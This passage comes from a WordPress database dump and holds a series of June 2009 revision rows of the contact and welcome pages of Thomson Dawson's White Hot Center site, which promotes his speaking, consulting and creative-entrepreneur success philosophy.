hand, if you have ideas for your bigger, better future you’d like to gain more clarity and conviction on, just send me a note via email and I’ll promptly reply.', 'Contact Thomson Dawson', 0, '', 'inherit', 'open', 'open', '', '143-revision-v1', '', '', '2009-06-24 09:57:51', '2009-06-24 16:57:51', '', 143, 'http://www.whitehotcenter.com/143-revision-10/', 0, 'revision', '', 0),
(254, 2, '2009-06-24 09:59:58', '2009-06-24 16:59:58', '<img class="alignnone size-full wp-image-246" title="1015.nordoff-view" src="http://whc.fbdev.org/wp-content/uploads/2009/04/1015.nordoff-view.gif" alt="1015.nordoff-view" width="360" height="260" />\r\n<h2><span style="color: #ff6600;">One of the things about my life that I am most proud\r\nof is the fact that I live and work in a manner and place\r\nthat I love. For years, I would daydream about living and\r\nworking in a beautiful, natural environment. Nothing is\r\nmore comforting to my soul than living in an orange grove. I''m delighted to share the view with you, and remind you that you can create in the physical world whatever you\r\ndaydream the formless world of your imagination.</span></h2>\r\n<strong>To contact me:</strong>\r\n\r\nThomson Dawson\r\nthomson@whitehotcenter.com\r\n\r\n<strong>Dawson+Company Creative Group\r\n1015 West El Roblar Drive\r\nOjai, California 93203 USA\r\nt 805 640 3920</strong>\r\n\r\n<strong>Speaking gigs</strong>:\r\n\r\nI am available to speak at colleges, art &amp; design schools, universities, industry groups and trade associations, on diverse topics in marketing, business development, visual design, and on diverse topics within the area personal and professional development. Some of my talks are pro-bono, some for expenses, and others for a fee and expenses.  If you have an interest in having me on the bill at one of your events, just send me an email with your specifics, we can go from there.\r\n\r\n<strong>Consulting gigs:</strong>\r\n\r\nI also advise corporations, organizations, individual creative entrepreneurs, design firms, and small business owners on marketing, positioning, branding, business and professional development. The depth and duration of these engagements varies depending on your needs and my availability. As a start, you might get some real value arranging for a “Power Session” with me where we can riff on your current concerns, big ideas and visions for your future.  Click the Consulting Link above. Remember, the nature of my consulting work is weighted to the inner game of business success. If you need help sifting through quantitative data or motivating people to fill out time sheets, I’m not the guy. On the other hand, if you have ideas for your bigger, better future you’d like to gain more clarity and conviction on, just send me a note via email and I’ll promptly reply.', 'Contact Thomson Dawson', 0, '', 'inherit', 'open', 'open', '', '143-revision-v1', '', '', '2009-06-24 09:59:58', '2009-06-24 16:59:58', '', 143, 'http://www.whitehotcenter.com/143-revision-11/', 0, 'revision', '', 0),
(255, 2, '2009-06-24 10:00:37', '2009-06-24 17:00:37', '<img class="alignnone size-full wp-image-246" title="1015.nordoff-view" src="http://whc.fbdev.org/wp-content/uploads/2009/04/1015.nordoff-view.gif" alt="1015.nordoff-view" width="360" height="260" />\r\n<h2><span style="color: #ff6600;">One of the things about my life that I am most proud\r\nof is the fact that I live and work in a manner and place\r\nthat I love. For years, I would daydream about living and\r\nworking in a beautiful, natural environment. Nothing is\r\nmore comforting to my soul than living in an orange grove. I''m delighted to share the view with you, and remind you that you can create in the physical world whatever you daydream the formless world of your imagination.</span></h2>\r\n<strong>To contact me:</strong>\r\n\r\nThomson Dawson\r\nthomson@whitehotcenter.com\r\n\r\n<strong>Dawson+Company Creative Group\r\n1015 West El Roblar Drive\r\nOjai, California 93203 USA\r\nt 805 640 3920</strong>\r\n\r\n<strong>Speaking gigs</strong>:\r\n\r\nI am available to speak at colleges, art &amp; design schools, universities, industry groups and trade associations, on diverse topics in marketing, business development, visual design, and on diverse topics within the area personal and professional development. Some of my talks are pro-bono, some for expenses, and others for a fee and expenses.  If you have an interest in having me on the bill at one of your events, just send me an email with your specifics, we can go from there.\r\n\r\n<strong>Consulting gigs:</strong>\r\n\r\nI also advise corporations, organizations, individual creative entrepreneurs, design firms, and small business owners on marketing, positioning, branding, business and professional development. The depth and duration of these engagements varies depending on your needs and my availability. As a start, you might get some real value arranging for a “Power Session” with me where we can riff on your current concerns, big ideas and visions for your future.  Click the Consulting Link above. Remember, the nature of my consulting work is weighted to the inner game of business success. If you need help sifting through quantitative data or motivating people to fill out time sheets, I’m not the guy. On the other hand, if you have ideas for your bigger, better future you’d like to gain more clarity and conviction on, just send me a note via email and I’ll promptly reply.', 'Contact Thomson Dawson', 0, '', 'inherit', 'open', 'open', '', '143-revision-v1', '', '', '2009-06-24 10:00:37', '2009-06-24 17:00:37', '', 143, 'http://www.whitehotcenter.com/143-revision-12/', 0, 'revision', '', 0),
(256, 2, '2009-06-24 10:04:46', '2009-06-24 17:04:46', '<img class="alignnone size-full wp-image-246" title="1015.nordoff-view" src="http://whc.fbdev.org/wp-content/uploads/2009/04/1015.nordoff-view.gif" alt="1015.nordoff-view" width="360" height="260" />\r\n<h2><span style="color: #ff6600;">One of the things about my life that I am most proud\r\nof is the fact that I live and work in a manner and place\r\nthat I love. For years, I would daydream about living and\r\nworking in a beautiful, natural environment. Nothing is\r\nmore comforting to my soul than living in an orange grove. I''m delighted to share the view with you, and remind you that you can create in the physical world whatever you daydream about in the formless world of your imagination.</span></h2>\r\n<strong>To contact me:</strong>\r\n\r\nThomson Dawson\r\nthomson@whitehotcenter.com\r\n\r\n<strong>Dawson+Company Creative Group\r\n1015 West El Roblar Drive\r\nOjai, California 93203 USA\r\nt 805 640 3920</strong>\r\n\r\n<strong>Speaking gigs</strong>:\r\n\r\nI am available to speak at colleges, art &amp; design schools, universities, industry groups and trade associations, on diverse topics in marketing, business development, visual design, and on diverse topics within the area personal and professional development. Some of my talks are pro-bono, some for expenses, and others for a fee and expenses.  If you have an interest in having me on the bill at one of your events, just send me an email with your specifics, we can go from there.\r\n\r\n<strong>Consulting gigs:</strong>\r\n\r\nI also advise corporations, organizations, individual creative entrepreneurs, design firms, and small business owners on marketing, positioning, branding, business and professional development. The depth and duration of these engagements varies depending on your needs and my availability. As a start, you might get some real value arranging for a “Power Session” with me where we can riff on your current concerns, big ideas and visions for your future.  Click the Consulting Link above. Remember, the nature of my consulting work is weighted to the inner game of business success. If you need help sifting through quantitative data or motivating people to fill out time sheets, I’m not the guy. On the other hand, if you have ideas for your bigger, better future you’d like to gain more clarity and conviction on, just send me a note via email and I’ll promptly reply.', 'Contact Thomson Dawson', 0, '', 'inherit', 'open', 'open', '', '143-revision-v1', '', '', '2009-06-24 10:04:46', '2009-06-24 17:04:46', '', 143, 'http://www.whitehotcenter.com/143-revision-13/', 0, 'revision', '', 0),
(257, 2, '2009-06-24 10:05:46', '2009-06-24 17:05:46', '<img class="size-full wp-image-246 alignnone" title="1015.nordoff-view" src="http://whc.fbdev.org/wp-content/uploads/2009/04/1015.nordoff-view.gif" alt="1015.nordoff-view" width="500" height="361" />\r\n<h2><span style="color: #ff6600;">One of the things about my life that I am most proud\r\nof is the fact that I live and work in a manner and place\r\nthat I love. For years, I would daydream about living and\r\nworking in a beautiful, natural environment. Nothing is\r\nmore comforting to my soul than living in an orange grove. I''m delighted to share the view with you, and remind you that you can create in the physical world whatever you daydream about in the formless world of your imagination.</span></h2>\r\n<strong>To contact me:</strong>\r\n\r\nThomson Dawson\r\nthomson@whitehotcenter.com\r\n\r\n<strong>Dawson+Company Creative Group\r\n1015 West El Roblar Drive\r\nOjai, California 93203 USA\r\nt 805 640 3920</strong>\r\n\r\n<strong>Speaking gigs</strong>:\r\n\r\nI am available to speak at colleges, art &amp; design schools, universities, industry groups and trade associations, on diverse topics in marketing, business development, visual design, and on diverse topics within the area personal and professional development. Some of my talks are pro-bono, some for expenses, and others for a fee and expenses.  If you have an interest in having me on the bill at one of your events, just send me an email with your specifics, we can go from there.\r\n\r\n<strong>Consulting gigs:</strong>\r\n\r\nI also advise corporations, organizations, individual creative entrepreneurs, design firms, and small business owners on marketing, positioning, branding, business and professional development. The depth and duration of these engagements varies depending on your needs and my availability. As a start, you might get some real value arranging for a “Power Session” with me where we can riff on your current concerns, big ideas and visions for your future.  Click the Consulting Link above. Remember, the nature of my consulting work is weighted to the inner game of business success. If you need help sifting through quantitative data or motivating people to fill out time sheets, I’m not the guy. On the other hand, if you have ideas for your bigger, better future you’d like to gain more clarity and conviction on, just send me a note via email and I’ll promptly reply.', 'Contact Thomson Dawson', 0, '', 'inherit', 'open', 'open', '', '143-revision-v1', '', '', '2009-06-24 10:05:46', '2009-06-24 17:05:46', '', 143, 'http://www.whitehotcenter.com/143-revision-14/', 0, 'revision', '', 0),
(258, 2, '2009-06-23 18:43:02', '2009-06-24 01:43:02', '[caption id="attachment_237" align="alignleft" width="140" caption="Thomson Dawson "]<img class="size-full wp-image-237" title="Thomson Dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-fullon.gif" alt="Thomson Dawson PIc" width="140" height="204" />[/caption]\r\n\r\nI’m very pleased that you have found your way to the White Hot Center. My purpose here is to inspire you into a frame of mind that will support you in achieving whatever level of personal and entrepreneurial success you desire in life. Of course each definition of success is as different and unique as our own DNA. There are no absolutes. The best definition of success I have heard so far says that success is the "on-going pursuit of a worthy ideal". The key to that is in the "on-going" part.\r\n\r\nWhen I began to have greater awareness of what really mattered to me in defining my own on-going pursuit of business and life success, I found that there is some common ground in this definition that resonated with other creative people who were searching, like me, for tools to help guide their life journey. With that in mind, here are some success benchmarks you may agree are worthwhile pursuing:\r\n\r\n<strong>-  free to do the creative work that matters most to you\r\nand serves others.</strong>\r\n\r\n<strong>- creating a sustainable business comprised of customers who value your contribution to them, and are delighted to pay the fees your talent and expertise commands and deserves.</strong>\r\n\r\n<strong>-  mastery over the daily complexities your business success creates.</strong>\r\n\r\n<strong>- mastery in effective marketing and business development strategies to grow your business doing what you love and are uniquely suited for.</strong>\r\n\r\n<strong>- enjoying more free time and money to imagine ways to expand your contribution to the world, not to mention to your family and friends, and to pursue your other creative passions in life.</strong>\r\n\r\n<strong>- creating a life of significance through your contributions\r\nto the world.</strong>\r\n\r\nThe list goes on and on… because, in truth, there’s no end to what is possible for you. You set your own limits in business and in life.\r\n\r\nJust like you, I continue on my own journey as a creative entrepreneur. I want to play big and make a difference. This site is one expression of that idea. So, like friends walking the same road, it is my intention that we begin a conversation about the inner game that drives outer success. Check out the White Hot Center Manifesto above. It outlines the 21 principles of inner success that guide the dialogue here. I’ll share thoughts, ideas, methods and expertise to inspire you to keep looking up and out, as well as within yourself for the power and energy to create your life experience exactly as you desire it to be. Believe me, it’s far more rewarding than looking down at your dusty shoes, or worse, looking over your shoulder– I guarantee you that much!\r\n\r\n<strong>About Me</strong>\r\n\r\nI’ve been a self-employed creative entrepreneur all my adult life. For over 25 years, I have been a involved in helping businesses large and small, define their brand identity and value proposition to customers. I am a designer, writer, creative director, brand marketing consultant to global companies and start-ups alike. You can check out my work in the brand consulting business: <a href="www.pullinc.com" target="_blank"><strong>www.pullinc.com</strong></a>\r\n\r\nI am totally committed to expanding my learning and mastery of the timeless principles for creative business and life success. This site is a resource for inspiration and innovation to help you operate from the creative source– your own white hot center. To contribute your greatness to the world, you must recognize you are the creator of your reality Everything is possibility and potential when you are inspired to create the reality you really want! All life''s circumstances are the result of the source thinking behind them. I’ll be sharing with you my best thinking and expertise, along with the expertise and point of view of other thought leaders you will enjoy learning from as well. Of course, your comments will only elevate the conversation for all of us. I look forward to your thoughts in the comments sectionl.\r\n\r\nAfter you have clicked around the site, I''m hoping you''ll want to subscribe and receive our updates directly to your email inbox. Your subscription to the White Hot Center is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas that are useful to your business success and add value to your life''s journey.\r\n\r\nI wish you continued success in your creative business and in every area of your life.\r\n\r\nThank you for visiting\r\n\r\nThomson\r\nthomson@whitehotcenter.com', 'Welcome to the White Hot Center', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2009-06-23 18:43:02', '2009-06-24 01:43:02', '', 172, 'http://www.whitehotcenter.com/172-revision-16/', 0, 'revision', '', 0),
(259, 2, '2009-06-24 10:34:54', '2009-06-24 17:34:54', '[caption id="attachment_237" align="alignleft" width="140" caption="Thomson Dawson "]<img class="size-full wp-image-237" title="Thomson Dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-fullon.gif" alt="Thomson Dawson PIc" width="140" height="204" />[/caption]\r\n\r\nI’m very pleased that you have found your way to the White Hot Center. My purpose here is to inspire you into a frame of mind that will support you in achieving whatever level of personal and entrepreneurial success you desire in life. Of course each definition of success is as different and unique as our own DNA. There are no absolutes. The best definition of success I have heard so far is from Bob Dylan: "A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do" Pretty simple.\r\n\r\nWhen I began to have a greater awareness and connection of what really mattered to me in business and life success, I discovered there is some common ground  with other creative people who were searching, like me, for tools to help guide their journey. With that in mind, here are some <span style="color: #000000;">success benchmarks many creative entrepreneurs I work with agree are worthwhile pursuing:</span>\r\n\r\n<span style="color: #ff6600;"><strong>-  freedom to do the creative work that matters most to you\r\nand serves others.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>- creating a sustainable business comprised of customers who value your contribution to them, and are delighted to pay the fees your talent and expertise commands and deserves.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>-  mastery over the daily complexities your business success creates.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>- mastery in effective marketing and business development strategies to grow your business doing what you love and are uniquely suited for.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>- enjoying more free time and money to imagine ways to expand your contribution to the world, not to mention to your family and friends, and to pursue your other creative passions in life.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>- creating a life of significance through your contributions\r\nto the world.</strong></span>\r\n\r\nThe list goes on and on… because, in truth, there’s no end to what is possible for you. You set your own limits in business and in life.\r\n\r\nJust like you, I continue on my own journey as a creative entrepreneur. I want to play big and make a difference. This site is one expression of that idea. So, like friends walking the same road, it is my intention that we begin a conversation about the inner game that drives outer success. Check out the White Hot Center Manifesto above. It outlines the 21 principles of inner success that guide the dialogue here. I’ll share thoughts, ideas, methods and expertise to inspire you to keep looking up and out, as well as within yourself for the power and energy to create your life experience exactly as you desire it to be. Believe me, it’s far more rewarding than looking down at your dusty shoes, or worse, looking over your shoulder– I guarantee you that much!\r\n\r\n<strong>About Me</strong>\r\n\r\nI’ve been a self-employed creative entrepreneur all my adult life. For over 25 years, I have been a involved in helping businesses large and small, define their brand identity and value proposition to customers. I am a designer, writer, creative director, brand marketing consultant to global companies and start-ups alike. You can check out my work in the brand consulting business: <a href="www.pullinc.com" target="_blank"><strong>www.pullinc.com</strong></a>\r\n\r\nI am totally committed to expanding my learning and mastery of the timeless principles for creative business and life success. This site is a resource for inspiration and innovation to help you operate from the creative source– your own white hot center. To contribute your greatness to the world, you must recognize you are the creator of your reality Everything is possibility and potential when you are inspired to create the reality you really want! All life''s circumstances are the result of the source thinking behind them. I’ll be sharing with you my best thinking and expertise, along with the expertise and point of view of other thought leaders you will enjoy learning from as well. Of course, your comments will only elevate the conversation for all of us. I look forward to your thoughts in the comments sectionl.\r\n\r\nAfter you have clicked around the site, I''m hoping you''ll want to subscribe and receive our updates directly to your email inbox. Your subscription to the White Hot Center is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas that are useful to your business success and add value to your life''s journey.\r\n\r\nI wish you continued success in your creative business and in every area of your life.\r\n\r\nThank you for visiting\r\n\r\nThomson\r\nthomson@whitehotcenter.com', 'Welcome to the White Hot Center', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2009-06-24 10:34:54', '2009-06-24 17:34:54', '', 172, 'http://www.whitehotcenter.com/172-revision-17/', 0, 'revision', '', 0),
(260, 2, '2009-06-24 10:37:27', '2009-06-24 17:37:27', '[caption id="attachment_237" align="alignleft" width="200" caption="Thomson Dawson "]<img class="size-full wp-image-237" title="Thomson Dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-fullon.gif" alt="Thomson Dawson PIc" width="200" height="204" />[/caption]\r\n\r\nI’m very pleased that you have found your way to the White Hot Center. My purpose here is to inspire you into a frame of mind that will support you in achieving whatever level of personal and entrepreneurial success you desire in life. Of course each definition of success is as different and unique as our own DNA. There are no absolutes. The best definition of success I have heard so far is from Bob Dylan: "A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do" Pretty simple.\r\n\r\nWhen I began to have a greater awareness and connection of what really mattered to me in business and life success, I discovered some common ground with other creative people who were searching, like me, for tools to help guide their journey. With that in mind, here are some <span style="color: #000000;">success benchmarks many creative entrepreneurs I work with agree are worthwhile pursuing:</span>\r\n\r\n<span style="color: #ff6600;"><strong>-  freedom to do the creative work that matters most to you\r\nand serves others.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>- creating a sustainable business comprised of customers who value your contribution to them, and are delighted to pay the fees your talent and expertise commands and deserves.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>-  mastery over the daily complexities your business success creates.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>- mastery in effective marketing and business development strategies to grow your business doing what you love and are uniquely suited for.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>- enjoying more free time and money to imagine ways to expand your contribution to the world, not to mention to your family and friends, and to pursue your other creative passions in life.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>- creating a life of significance through your contributions\r\nto the world.</strong></span>\r\n\r\nThe list goes on and on… because, in truth, there’s no end to what is possible for you. You set your own limits in business and in life.\r\n\r\nJust like you, I continue on my own journey as a creative entrepreneur. I want to play big and make a difference. This site is one expression of that idea. So, like friends walking the same road, it is my intention that we begin a conversation about the inner game that drives outer success. Check out the White Hot Center Manifesto above. It outlines the 21 principles of inner success that guide the dialogue here. I’ll share thoughts, ideas, methods and expertise to inspire you to keep looking up and out, as well as within yourself for the power and energy to create your life experience exactly as you desire it to be. Believe me, it’s far more rewarding than looking down at your dusty shoes, or worse, looking over your shoulder– I guarantee you that much!\r\n\r\n<strong>About Me</strong>\r\n\r\nI’ve been a self-employed creative entrepreneur all my adult life. For over 25 years, I have been a involved in helping businesses large and small, define their brand identity and value proposition to customers. I am a designer, writer, creative director, brand marketing consultant to global companies and start-ups alike. You can check out my work in the brand consulting business: <a href="www.pullinc.com" target="_blank"><strong>www.pullinc.com</strong></a>\r\n\r\nI am totally committed to expanding my learning and mastery of the timeless principles for creative business and life success. This site is a resource for inspiration and innovation to help you operate from the creative source– your own white hot center. To contribute your greatness to the world, you must recognize you are the creator of your reality Everything is possibility and potential when you are inspired to create the reality you really want! All life''s circumstances are the result of the source thinking behind them. I’ll be sharing with you my best thinking and expertise, along with the expertise and point of view of other thought leaders you will enjoy learning from as well. Of course, your comments will only elevate the conversation for all of us. I look forward to your thoughts in the comments sectionl.\r\n\r\nAfter you have clicked around the site, I''m hoping you''ll want to subscribe and receive our updates directly to your email inbox. Your subscription to the White Hot Center is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas that are useful to your business success and add value to your life''s journey.\r\n\r\nI wish you continued success in your creative business and in every area of your life.\r\n\r\nThank you for visiting\r\n\r\nThomson\r\nthomson@whitehotcenter.com', 'Welcome to the White Hot Center', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2009-06-24 10:37:27', '2009-06-24 17:37:27', '', 172, 'http://www.whitehotcenter.com/172-revision-18/', 0, 'revision', '', 0),
(261, 2, '2009-06-24 10:38:07', '2009-06-24 17:38:07', '[caption id="attachment_237" align="alignleft" width="200" caption="Thomson Dawson "]<img class="size-full wp-image-237" title="Thomson Dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-fullon.gif" alt="Thomson Dawson PIc" width="200" height="291" />[/caption]\r\n\r\nI’m very pleased that you have found your way to the White Hot Center. My purpose here is to inspire you into a frame of mind that will support you in achieving whatever level of personal and entrepreneurial success you desire in life. Of course each definition of success is as different and unique as our own DNA. There are no absolutes. The best definition of success I have heard so far is from Bob Dylan: "A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do" Pretty simple.\r\n\r\nWhen I began to have a greater awareness and connection of what really mattered to me in business and life success, I discovered some common ground with other creative people who were searching, like me, for tools to help guide their journey. With that in mind, here are some <span style="color: #000000;">success benchmarks many creative entrepreneurs I work with agree are worthwhile pursuing:</span>\r\n\r\n<span style="color: #ff6600;"><strong>-  freedom to do the creative work that matters most to you\r\nand serves others.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>- creating a sustainable business comprised of customers who value your contribution to them, and are delighted to pay the fees your talent and expertise commands and deserves.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>-  mastery over the daily complexities your business success creates.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>- mastery in effective marketing and business development strategies to grow your business doing what you love and are uniquely suited for.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>- enjoying more free time and money to imagine ways to expand your contribution to the world, not to mention to your family and friends, and to pursue your other creative passions in life.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>- creating a life of significance through your contributions\r\nto the world.</strong></span>\r\n\r\nThe list goes on and on… because, in truth, there’s no end to what is possible for you. You set your own limits in business and in life.\r\n\r\nJust like you, I continue on my own journey as a creative entrepreneur. I want to play big and make a difference. This site is one expression of that idea. So, like friends walking the same road, it is my intention that we begin a conversation about the inner game that drives outer success. Check out the White Hot Center Manifesto above. It outlines the 21 principles of inner success that guide the dialogue here. I’ll share thoughts, ideas, methods and expertise to inspire you to keep looking up and out, as well as within yourself for the power and energy to create your life experience exactly as you desire it to be. Believe me, it’s far more rewarding than looking down at your dusty shoes, or worse, looking over your shoulder– I guarantee you that much!\r\n\r\n<strong>About Me</strong>\r\n\r\nI’ve been a self-employed creative entrepreneur all my adult life. For over 25 years, I have been a involved in helping businesses large and small, define their brand identity and value proposition to customers. I am a designer, writer, creative director, brand marketing consultant to global companies and start-ups alike. You can check out my work in the brand consulting business: <a href="www.pullinc.com" target="_blank"><strong>www.pullinc.com</strong></a>\r\n\r\nI am totally committed to expanding my learning and mastery of the timeless principles for creative business and life success. This site is a resource for inspiration and innovation to help you operate from the creative source– your own white hot center. To contribute your greatness to the world, you must recognize you are the creator of your reality Everything is possibility and potential when you are inspired to create the reality you really want! All life''s circumstances are the result of the source thinking behind them. I’ll be sharing with you my best thinking and expertise, along with the expertise and point of view of other thought leaders you will enjoy learning from as well. Of course, your comments will only elevate the conversation for all of us. I look forward to your thoughts in the comments sectionl.\r\n\r\nAfter you have clicked around the site, I''m hoping you''ll want to subscribe and receive our updates directly to your email inbox. Your subscription to the White Hot Center is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas that are useful to your business success and add value to your life''s journey.\r\n\r\nI wish you continued success in your creative business and in every area of your life.\r\n\r\nThank you for visiting\r\n\r\nThomson\r\nthomson@whitehotcenter.com', 'Welcome to the White Hot Center', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2009-06-24 10:38:07', '2009-06-24 17:38:07', '', 172, 'http://www.whitehotcenter.com/172-revision-19/', 0, 'revision', '', 0);
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(262, 2, '2009-06-24 10:38:39', '2009-06-24 17:38:39', '[caption id="attachment_237" align="alignleft" width="200" caption="Thomson Dawson "]<img class="size-full wp-image-237" title="Thomson Dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-fullon.gif" alt="Thomson Dawson PIc" width="200" height="291" />[/caption]\r\n\r\nI’m very pleased that you have found your way to the White Hot Center. My purpose here is to inspire you into a frame of mind that will support you in achieving whatever level of personal and entrepreneurial success you desire in life. Of course each definition of success is as different and unique as our own DNA. There are no absolutes. The best definition of success I have heard so far is from Bob Dylan: "A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".  Pretty simple...\r\n\r\nWhen I began to have a greater awareness and connection of what really mattered to me in business and life success, I discovered some common ground with other creative people who were searching, like me, for tools to help guide their journey. With that in mind, here are some <span style="color: #000000;">success benchmarks many creative entrepreneurs I work with agree are worthwhile pursuing:</span>\r\n\r\n<span style="color: #ff6600;"><strong>-  freedom to do the creative work that matters most to you\r\nand serves others.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>- creating a sustainable business comprised of customers who value your contribution to them, and are delighted to pay the fees your talent and expertise commands and deserves.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>-  mastery over the daily complexities your business success creates.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>- mastery in effective marketing and business development strategies to grow your business doing what you love and are uniquely suited for.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>- enjoying more free time and money to imagine ways to expand your contribution to the world, not to mention to your family and friends, and to pursue your other creative passions in life.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>- creating a life of significance through your contributions\r\nto the world.</strong></span>\r\n\r\nThe list goes on and on… because, in truth, there’s no end to what is possible for you. You set your own limits in business and in life.\r\n\r\nJust like you, I continue on my own journey as a creative entrepreneur. I want to play big and make a difference. This site is one expression of that idea. So, like friends walking the same road, it is my intention that we begin a conversation about the inner game that drives outer success. Check out the White Hot Center Manifesto above. It outlines the 21 principles of inner success that guide the dialogue here. I’ll share thoughts, ideas, methods and expertise to inspire you to keep looking up and out, as well as within yourself for the power and energy to create your life experience exactly as you desire it to be. Believe me, it’s far more rewarding than looking down at your dusty shoes, or worse, looking over your shoulder– I guarantee you that much!\r\n\r\n<strong>About Me</strong>\r\n\r\nI’ve been a self-employed creative entrepreneur all my adult life. For over 25 years, I have been a involved in helping businesses large and small, define their brand identity and value proposition to customers. I am a designer, writer, creative director, brand marketing consultant to global companies and start-ups alike. You can check out my work in the brand consulting business: <a href="www.pullinc.com" target="_blank"><strong>www.pullinc.com</strong></a>\r\n\r\nI am totally committed to expanding my learning and mastery of the timeless principles for creative business and life success. This site is a resource for inspiration and innovation to help you operate from the creative source– your own white hot center. To contribute your greatness to the world, you must recognize you are the creator of your reality Everything is possibility and potential when you are inspired to create the reality you really want! All life''s circumstances are the result of the source thinking behind them. I’ll be sharing with you my best thinking and expertise, along with the expertise and point of view of other thought leaders you will enjoy learning from as well. Of course, your comments will only elevate the conversation for all of us. I look forward to your thoughts in the comments sectionl.\r\n\r\nAfter you have clicked around the site, I''m hoping you''ll want to subscribe and receive our updates directly to your email inbox. Your subscription to the White Hot Center is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas that are useful to your business success and add value to your life''s journey.\r\n\r\nI wish you continued success in your creative business and in every area of your life.\r\n\r\nThank you for visiting\r\n\r\nThomson\r\nthomson@whitehotcenter.com', 'Welcome to the White Hot Center', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2009-06-24 10:38:39', '2009-06-24 17:38:39', '', 172, 'http://www.whitehotcenter.com/172-revision-20/', 0, 'revision', '', 0),
(263, 2, '2009-06-24 10:39:36', '2009-06-24 17:39:36', '[caption id="attachment_237" align="alignleft" width="200" caption="Thomson Dawson "]<img class="size-full wp-image-237" title="Thomson Dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-fullon.gif" alt="Thomson Dawson PIc" width="200" height="291" />[/caption]\r\n\r\nI’m very pleased that you have found your way to the White Hot Center. My purpose here is to inspire you into a frame of mind that will support you in achieving whatever level of personal and entrepreneurial success you desire in life. Of course each definition of success is as different and unique as our own DNA. There are no absolutes. The best definition of success I have heard so far is from Bob Dylan: "A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".  Pretty simple...\r\n\r\nWhen I began to have greater awareness and connection to what really mattered to me in business and life success, I discovered some common ground with other creative people who were searching, like me, for tools to help guide their journey. With that in mind, here are some <span style="color: #000000;">success benchmarks many creative entrepreneurs I work with agree are worthwhile pursuing:</span>\r\n\r\n<span style="color: #ff6600;"><strong>-  freedom to do the creative work that matters most to you\r\nand serves others.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>- creating a sustainable business comprised of customers who value your contribution to them, and are delighted to pay the fees your talent and expertise commands and deserves.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>-  mastery over the daily complexities your business success creates.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>- mastery in effective marketing and business development strategies to grow your business doing what you love and are uniquely suited for.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>- enjoying more free time and money to imagine ways to expand your contribution to the world, not to mention to your family and friends, and to pursue your other creative passions in life.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>- creating a life of significance through your contributions\r\nto the world.</strong></span>\r\n\r\nThe list goes on and on… because, in truth, there’s no end to what is possible for you. You set your own limits in business and in life.\r\n\r\nJust like you, I continue on my own journey as a creative entrepreneur. I want to play big and make a difference. This site is one expression of that idea. So, like friends walking the same road, it is my intention that we begin a conversation about the inner game that drives outer success. Check out the White Hot Center Manifesto above. It outlines the 21 principles of inner success that guide the dialogue here. I’ll share thoughts, ideas, methods and expertise to inspire you to keep looking up and out, as well as within yourself for the power and energy to create your life experience exactly as you desire it to be. Believe me, it’s far more rewarding than looking down at your dusty shoes, or worse, looking over your shoulder– I guarantee you that much!\r\n\r\n<strong>About Me</strong>\r\n\r\nI’ve been a self-employed creative entrepreneur all my adult life. For over 25 years, I have been a involved in helping businesses large and small, define their brand identity and value proposition to customers. I am a designer, writer, creative director, brand marketing consultant to global companies and start-ups alike. You can check out my work in the brand consulting business: <a href="www.pullinc.com" target="_blank"><strong>www.pullinc.com</strong></a>\r\n\r\nI am totally committed to expanding my learning and mastery of the timeless principles for creative business and life success. This site is a resource for inspiration and innovation to help you operate from the creative source– your own white hot center. To contribute your greatness to the world, you must recognize you are the creator of your reality Everything is possibility and potential when you are inspired to create the reality you really want! All life''s circumstances are the result of the source thinking behind them. I’ll be sharing with you my best thinking and expertise, along with the expertise and point of view of other thought leaders you will enjoy learning from as well. Of course, your comments will only elevate the conversation for all of us. I look forward to your thoughts in the comments sectionl.\r\n\r\nAfter you have clicked around the site, I''m hoping you''ll want to subscribe and receive our updates directly to your email inbox. Your subscription to the White Hot Center is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas that are useful to your business success and add value to your life''s journey.\r\n\r\nI wish you continued success in your creative business and in every area of your life.\r\n\r\nThank you for 